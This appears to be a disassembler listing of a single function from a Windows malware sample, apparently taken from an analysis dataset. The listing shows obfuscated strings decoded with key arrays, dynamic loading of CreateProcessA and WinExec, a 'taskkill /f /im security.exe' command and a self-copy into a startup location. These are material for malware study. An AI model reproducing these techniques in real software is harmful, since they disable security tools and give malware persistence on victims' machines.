Function at 0x1400011e0
Capabilities:
Link many functions at runtime

Disassembly:
push rsi
push rdi
mov eax, 0x1e48
call fcn.140583f40
sub rsp, rax
mov rax, qword [0x1405a6008]
xor rax, rsp
mov qword [rsp + 0x1e30], rax
lea rdx, str._sf_s_Vjqf
lea rcx, [rsp + 0x280]
call fcn.1405827d0
mov dword [rsp + 0x580], 3
mov dword [rsp + 0x584], 1
mov dword [rsp + 0x588], 3
mov dword [rsp + 0x58c], 1
mov dword [rsp + 0x590], 7
mov dword [rsp + 0x594], 5
mov dword [rsp + 0x598], 6
mov dword [rsp + 0x59c], 3
mov dword [rsp + 0x5a0], 2
mov dword [rsp + 0x5a4], 9
lea rdx, str.DdwBrwtfowEnwc_ulsD
lea rcx, [rsp + 0x260]
call fcn.1405827d0
mov dword [rsp + 0x600], 3
mov dword [rsp + 0x604], 1
mov dword [rsp + 0x608], 3
mov dword [rsp + 0x60c], 1
mov dword [rsp + 0x610], 7
mov dword [rsp + 0x614], 5
mov dword [rsp + 0x618], 6
mov dword [rsp + 0x61c], 3
mov dword [rsp + 0x620], 2
mov dword [rsp + 0x624], 9
mov dword [rsp + 0x628], 5
mov dword [rsp + 0x62c], 3
mov dword [rsp + 0x630], 9
mov dword [rsp + 0x634], 7
mov dword [rsp + 0x638], 0
mov dword [rsp + 0x63c], 2
mov dword [rsp + 0x640], 5
mov dword [rsp + 0x644], 6
mov dword [rsp + 0x648], 4
mov dword [rsp + 0x64c], 1
lea rdx, str.__sqCdrb_Qnfhomf_LnftlrlgsYQjognpvZPubss_Kfov_WwidsbltYUw_quruZpd_tulrz_fyb
lea rcx, [rsp + 0x240]
call fcn.1405827d0
mov dword [rsp + 0x650], 3
mov dword [rsp + 0x654], 1
mov dword [rsp + 0x658], 3
mov dword [rsp + 0x65c], 1
mov dword [rsp + 0x660], 7
mov dword [rsp + 0x664], 5
mov dword [rsp + 0x668], 6
mov dword [rsp + 0x66c], 3
mov dword [rsp + 0x670], 2
mov dword [rsp + 0x674], 9
mov dword [rsp + 0x678], 5
mov dword [rsp + 0x67c], 3
mov dword [rsp + 0x680], 9
mov dword [rsp + 0x684], 7
mov dword [rsp + 0x688], 0
mov dword [rsp + 0x68c], 2
mov dword [rsp + 0x690], 5
mov dword [rsp + 0x694], 6
mov dword [rsp + 0x698], 4
mov dword [rsp + 0x69c], 1
mov dword [rsp + 0x6a0], 3
mov dword [rsp + 0x6a4], 1
mov dword [rsp + 0x6a8], 3
mov dword [rsp + 0x6ac], 1
mov dword [rsp + 0x6b0], 7
mov dword [rsp + 0x6b4], 5
mov dword [rsp + 0x6b8], 6
mov dword [rsp + 0x6bc], 3
mov dword [rsp + 0x6c0], 2
mov dword [rsp + 0x6c4], 9
mov dword [rsp + 0x6c8], 5
mov dword [rsp + 0x6cc], 3
mov dword [rsp + 0x6d0], 9
mov dword [rsp + 0x6d4], 7
mov dword [rsp + 0x6d8], 0
mov dword [rsp + 0x6dc], 2
mov dword [rsp + 0x6e0], 5
mov dword [rsp + 0x6e4], 6
mov dword [rsp + 0x6e8], 4
mov dword [rsp + 0x6ec], 1
mov dword [rsp + 0x6f0], 3
mov dword [rsp + 0x6f4], 1
mov dword [rsp + 0x6f8], 3
mov dword [rsp + 0x6fc], 1
mov dword [rsp + 0x700], 7
mov dword [rsp + 0x704], 5
mov dword [rsp + 0x708], 6
mov dword [rsp + 0x70c], 3
mov dword [rsp + 0x710], 2
mov dword [rsp + 0x714], 9
mov dword [rsp + 0x718], 5
mov dword [rsp + 0x71c], 3
mov dword [rsp + 0x720], 9
mov dword [rsp + 0x724], 7
mov dword [rsp + 0x728], 0
mov dword [rsp + 0x72c], 2
mov dword [rsp + 0x730], 5
mov dword [rsp + 0x734], 6
mov dword [rsp + 0x738], 4
mov dword [rsp + 0x73c], 1
mov dword [rsp + 0x740], 3
mov dword [rsp + 0x744], 1
mov dword [rsp + 0x748], 3
mov dword [rsp + 0x74c], 1
mov dword [rsp + 0x750], 7
mov dword [rsp + 0x754], 5
mov dword [rsp + 0x758], 6
mov dword [rsp + 0x75c], 3
mov dword [rsp + 0x760], 2
mov dword [rsp + 0x764], 9
mov dword [rsp + 0x768], 5
mov dword [rsp + 0x76c], 3
mov dword [rsp + 0x770], 9
mov dword [rsp + 0x774], 7
mov dword [rsp + 0x778], 0
mov dword [rsp + 0x77c], 2
lea rdx, str.DdwLhasodEhk_Hblf_
lea rcx, [rsp + 0x220]
call fcn.1405827d0
mov dword [rsp + 0x5b0], 3
mov dword [rsp + 0x5b4], 1
mov dword [rsp + 0x5b8], 3
mov dword [rsp + 0x5bc], 1
mov dword [rsp + 0x5c0], 7
mov dword [rsp + 0x5c4], 5
mov dword [rsp + 0x5c8], 6
mov dword [rsp + 0x5cc], 3
mov dword [rsp + 0x5d0], 2
mov dword [rsp + 0x5d4], 9
mov dword [rsp + 0x5d8], 5
mov dword [rsp + 0x5dc], 3
mov dword [rsp + 0x5e0], 9
mov dword [rsp + 0x5e4], 7
mov dword [rsp + 0x5e8], 0
mov dword [rsp + 0x5ec], 2
mov dword [rsp + 0x5f0], 5
mov dword [rsp + 0x5f4], 6
lea rdx, str.ndr1_____4_
lea rcx, [rsp + 0x2a0]
call fcn.1405827d0
mov dword [rsp + 0x780], 0xd
mov dword [rsp + 0x784], 0xb
mov dword [rsp + 0x788], 0xd
mov dword [rsp + 0x78c], 0xb
mov dword [rsp + 0x790], 0x11
mov dword [rsp + 0x794], 0xf
mov dword [rsp + 0x798], 0xa
mov dword [rsp + 0x79c], 0x12
mov dword [rsp + 0x7a0], 0x11
mov dword [rsp + 0x7a4], 0x13
mov dword [rsp + 0x7a8], 0xf
mov dword [rsp + 0x7ac], 0xf
mov dword [rsp + 0x7b0], 0xf
lea rdx, str.N1QbjxW
lea rcx, [rsp + 0x200]
call fcn.1405827d0
mov dword [rsp + 0x558], 0xd
mov dword [rsp + 0x55c], 0xb
mov dword [rsp + 0x560], 0xd
mov dword [rsp + 0x564], 0xb
mov dword [rsp + 0x568], 0x11
mov dword [rsp + 0x56c], 0xf
mov dword [rsp + 0x570], 0xa
mov dword [rsp + 0x574], 0x12
mov dword [rsp + 0x578], 0x11
lea rcx, [0x14059a480]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.CreateProcessA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.GetUserNameA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
lea rcx, [0x14059a4c8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x14059a4b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb0], rax
lea r8, [rsp + 0x580]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x2c0]
call fcn.140001120
mov rcx, rax
call fcn.140583860
mov qword [rsp + 0x88], rax
lea rcx, [0x14059a4d8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x88]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x2c0]
call fcn.140582a70
lea r8, [rsp + 0x600]
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x2e0]
call fcn.140001120
mov rcx, rax
call fcn.140583860
mov qword [rsp + 0x90], rax
lea rcx, [0x14059a4e8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x90]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x2e0]
call fcn.140582a70
lea r8, [rsp + 0x5b0]
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x300]
call fcn.140001120
mov rcx, rax
call fcn.140583860
mov qword [rsp + 0x98], rax
lea rcx, [0x14059a4f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x98]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x300]
call fcn.140582a70
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.WinExec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x50], 0x101
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xd20]
call qword [rsp + 0xa0]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0xe8], 0
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x3a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x198
rep stosb byte [rdi], al
lea rax, [rsp + 0xe30]
mov rdi, rax
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x54], 0
lea rax, [rsp + 0x7f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
mov dword [rsp + 0xe0], 1
mov qword [rsp + 0xd8], 0
mov dword [rsp + 0xd0], 0x18
xor r9d, r9d
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
call qword [rsp + 0xa8]
mov dword [rsp + 0x14c], 0x101
xor eax, eax
mov word [rsp + 0x150], ax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x9f0]
lea rcx, str.til_om
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x9f7]
mov rdi, rax
xor eax, eax
mov ecx, 0xfd
rep stosb byte [rdi], al
lea rdx, [rsp + 0x9f0]
lea rcx, [rsp + 0x1e0]
call fcn.1405827d0
mov dword [rsp + 0x540], 3
mov dword [rsp + 0x544], 1
mov dword [rsp + 0x548], 3
mov dword [rsp + 0x54c], 1
mov dword [rsp + 0x550], 2
mov dword [rsp + 0x554], 4
lea r8, [rsp + 0x540]
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x320]
call fcn.140001120
mov rcx, rax
call fcn.140583860
mov r8, rax
mov edx, 0x200
lea rcx, [rsp + 0x7f0]
call section..text
mov dword [rsp + 0x7c], eax
lea rcx, [rsp + 0x320]
call fcn.140582a70
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x7f0]
xor ecx, ecx
call qword [rsp + 0x70]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rsp + 0xe30]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xb0]
lea rdx, [rsp + 0x7f0]
lea rcx, [0x14059a394]
call fcn.140583c10
lea rdx, [rsp + 0xe30]
lea rcx, [rsp + 0x1a0]
call fcn.1405827d0
mov r8, 0xffffffffffffffff
lea rdx, [0x14059a3c4]
lea rcx, [rsp + 0x1a0]
call fcn.1405839c0
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x1a0]
call fcn.140583b20
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.140582b20
lea rcx, [rsp + 0x340]
call fcn.140582a70
lea rdx, [0x14059a392]
lea rcx, [rsp + 0x180]
call fcn.1405827d0
lea r8, [rsp + 0x558]
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x360]
call fcn.140001120
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.140582c90
lea rcx, [rsp + 0x360]
call fcn.140582a70
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x180]
call fcn.140582c90
lea r8, [rsp + 0x650]
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x380]
call fcn.140001120
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.140582c90
lea rcx, [rsp + 0x380]
call fcn.140582a70
lea rax, [rsp + 0xb00]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb00]
mov ecx, 0x104
call qword [rsp + 0xb8]
lea rdx, [rsp + 0xb00]
lea rcx, [rsp + 0x1c0]
call fcn.1405827d0
xor r8d, r8d
lea rdx, str.Startup
lea rcx, [rsp + 0x1c0]
call fcn.140583960
cmp rax, 0xffffffffffffffff
jne 0x140001e91
xor r8d, r8d
lea rdx, str.Windows
lea rcx, [rsp + 0x1c0]
call fcn.140583960
cmp rax, 0xffffffffffffffff
je 0x140001f32
lea rcx, str.already_have_file_no_copy_n
call fcn.140583c10
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x1c0]
call fcn.140582a70
lea rcx, [rsp + 0x180]
call fcn.140582a70
lea rcx, [rsp + 0x1a0]
call fcn.140582a70
lea rcx, [rsp + 0x1e0]
call fcn.140582a70
lea rcx, [rsp + 0x200]
call fcn.140582a70
lea rcx, [rsp + 0x2a0]
call fcn.140582a70
lea rcx, [rsp + 0x220]
call fcn.140582a70
lea rcx, [rsp + 0x240]
call fcn.140582a70
lea rcx, [rsp + 0x260]
call fcn.140582a70
lea rcx, [rsp + 0x280]
call fcn.140582a70
mov eax, dword [rsp + 0x58]
jmp 0x14000215d
xor edx, edx
lea rcx, str.taskkill__f__im_security.exe
call qword [rsp + 0xc0]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x7f0]
lea rcx, [0x14059a42c]
call fcn.140583c10
lea rax, [rsp + 0xc10]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0xc10]
xor ecx, ecx
call qword [rsp + 0xc8]
lea rax, [rsp + 0x7b8]
mov rdi, rax
xor eax, eax
mov ecx, 0x32
rep stosb byte [rdi], al
lea rdx, str.copy
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [0x14059a444]
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [rsp + 0xc10]
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [0x14059a46c]
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [0x14059a4c4]
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [0x14059a54c]
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rcx, [rsp + 0x180]
call fcn.140583860
mov rdx, rax
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [0x14059a570]
lea rcx, [rsp + 0x7b8]
call fcn.140588290
lea rdx, [rsp + 0x7f0]
lea rcx, [0x14059a574]
call fcn.140583c10
lea r8, [rsp + 0x7b8]
mov edx, 0x200
lea rcx, [rsp + 0x7f0]
call section..text
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x7f0]
xor ecx, ecx
call qword [rsp + 0x70]
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x5c], 1
lea rcx, [rsp + 0x1c0]
call fcn.140582a70
lea rcx, [rsp + 0x180]
call fcn.140582a70
lea rcx, [rsp + 0x1a0]
call fcn.140582a70
lea rcx, [rsp + 0x1e0]
call fcn.140582a70
lea rcx, [rsp + 0x200]
call fcn.140582a70
lea rcx, [rsp + 0x2a0]
call fcn.140582a70
lea rcx, [rsp + 0x220]
call fcn.140582a70
lea rcx, [rsp + 0x240]
call fcn.140582a70
lea rcx, [rsp + 0x260]
call fcn.140582a70
lea rcx, [rsp + 0x280]
call fcn.140582a70
mov eax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x1e30]
xor rcx, rsp
call fcn.140583fa0
add rsp, 0x1e48
pop rdi
pop rsi
ret